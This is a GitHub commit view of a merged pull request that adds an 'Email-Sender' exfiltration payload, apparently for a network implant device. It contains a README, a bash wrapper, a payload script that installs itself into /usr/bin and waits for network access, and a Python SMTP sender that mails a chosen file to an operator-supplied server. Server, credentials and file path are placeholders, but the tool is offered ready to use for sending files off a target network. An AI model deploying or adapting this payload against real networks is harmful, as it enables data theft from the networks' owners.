Merge pull request #16 from TheDragonkeeper/master

You got Mail !
pull/34/head
Darren Kitchen 2018-12-15 16:13:01 -08:00 committed by GitHub
commit aa82860dd4
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
4 changed files with 162 additions and 0 deletions

View File

@ -0,0 +1,35 @@
| | |
|:----------------|:---------------------------------------------------------------------------------------------------|
| **Title** | Email-Sender |
| **Description** | Sends emails / has html and file support / it can be used with bash and python . |
**Author** | TheDragonkeeper |
| **Version** | 1.1 |
| **Category** | Exfiltration |
| **Target** | Any |
| Meaning | Color | Description |
|:----------|:-----------------:|:----------------------------|
| SUCCESS: | Blink Green | Payload ended complete |
| SETUP: | Blink Yellow | Payload is waiting on network |
| Command | Arguments |
:----------|:-----------------|
| SENDMAIL | $FROM $RCPT "$SUBJECT" "$BODY" $SERVER $USER $PASS "$FILE" |
Running the payload will install the command to /usr/bin
this will allow you to use the command SENDMAIL to send an email using your bash payload
the default arguments are as follows.
| $1 | $2 | $3 | $4 | $5 | $6 | $7 | $8
|:----------|:----------|:-----------------|:----------|:----------|:-----------------|:----------|:-----------------:|
| $FROM |$RCPT |"$SUBJECT"| "$BODY"| $SERVER | $USER | $PASS |"$FILE" |
if you wish to hard code one of these values you can simply edit the SENDMAIL file and then drop the numbers down a value;
i.e if you change $1 to 'thisismyemail@somedomain.net' then $2 now needs to be $1
The other option is to edit the python file 'sendemail.py' and change the corresponding sys.argv[1] in the same way.
but then you need to make sure you also edit the SENDMAIL to only send the amount of arguments needed.

View File

@ -0,0 +1,7 @@
#!/bin/bash
[[ -z $8 ]] && python /usr/bin/sendemail.py "$1" "$2" "$3" "$4" "$5" "$6" "$7"
[[ ! -z $8 ]] && python /usr/bin/sendemail.py "$1" "$2" "$3" "$4" "$5" "$6" "$7" "$8"
### $1 $2 $3 $4 $5 $6 $7 $8
### $FROM $RCPT "$SUBJECT" "$BODY" $SERVER $USER $PASS "$FILE"

View File

@ -0,0 +1,28 @@
#!/bin/bash
function run() {
LED STAGE1
SWITCH_POS=$(SWITCH)
until ping -c 1 8.8.8.8 >/dev/null ; do : ; done
SUBJECT='Im Just Nutty'
BODY='And your network is nutty too.'
RCPT="recieving email"
FROM="your email"
SERVER="server.com"
USER="username"
PASS="password"
FILE="/some/File/Path/1.txt"
SENDMAIL $FROM $RCPT "$SUBJECT" "$BODY" $SERVER $USER $PASS "$FILE"
####### REMOVE THE FILE VAR FROM THE PYTHON COMMAND IF YOU HAVE NO PATH
LED FINISH
}
if [ ! -f /usr/bin/SENDMAIL ]; then
mv /root/payloads/$(SWITCH)/sendemail.py /usr/bin/
mv /root/payloads/$(SWITCH)/SENDMAIL /usr/bin/
chmod +rx /usr/bin/SENDMAIL
fi
NETMODE NAT
run

View File

@ -0,0 +1,92 @@
# Title: Email-Sender
# Description: Allows sending emails to a mail server, with file support
# this is called using the Email-Sender library
# Author: TheDragonkeeper
# Version: 1.1
# Category: exfiltration
# Target: Any
import sys
import smtplib, os
from email.MIMEMultipart import MIMEMultipart
from email.MIMEBase import MIMEBase
from email.MIMEText import MIMEText
from email.MIMEImage import MIMEImage
from email.Utils import COMMASPACE, formatdate
from email import Encoders
import ConfigParser
def send_mail(send_from, send_to, subject, text, files=None,
data_attachments=None, server="None", port=587,
tls=True, html=False, images=None,
username=None, password=None,
config_file=None, config=None):
if files is None:
files = []
if images is None:
images = []
if data_attachments is None:
data_attachments = []
if config_file is not None:
config = ConfigParser.ConfigParser()
config.read(config_file)
if config is not None:
server = config.get('smtp', 'server')
port = config.get('smtp', 'port')
tls = config.get('smtp', 'tls').lower() in ('true', 'yes', 'y')
username = config.get('smtp', 'username')
password = config.get('smtp', 'password')
msg = MIMEMultipart('related')
msg['From'] = send_from
msg['To'] = send_to if isinstance(send_to, basestring) else COMMASPACE.join(send_to)
msg['Date'] = formatdate(localtime=True)
msg['Subject'] = subject
msg.attach( MIMEText(text, 'html' if html else 'plain') )
for f in files:
part = MIMEBase('application', "octet-stream")
part.set_payload( open(f,"rb").read() )
Encoders.encode_base64(part)
part.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(f))
msg.attach(part)
for f in data_attachments:
part = MIMEBase('application', "octet-stream")
part.set_payload( f['data'] )
Encoders.encode_base64(part)
part.add_header('Content-Disposition', 'attachment; filename="%s"' % f['filename'])
msg.attach(part)
for (n, i) in enumerate(images):
fp = open(i, 'rb')
msgImage = MIMEImage(fp.read())
fp.close()
msgImage.add_header('Content-ID', '<image{0}>'.format(str(n+1)))
msg.attach(msgImage)
smtp = smtplib.SMTP(server, int(port))
if tls:
smtp.starttls()
if username is not None:
smtp.login(username, password)
smtp.sendmail(send_from, send_to, msg.as_string())
smtp.close()
if len(sys.argv) > 8:
send_mail(sys.argv[1], sys.argv[2],
sys.argv[3],
sys.argv[4],
server=sys.argv[5], username=sys.argv[6], password=sys.argv[7], files=[sys.argv[8]])
else:
send_mail(sys.argv[1], sys.argv[2],
sys.argv[3],
sys.argv[4],
server=sys.argv[5], username=sys.argv[6], password=sys.argv[7])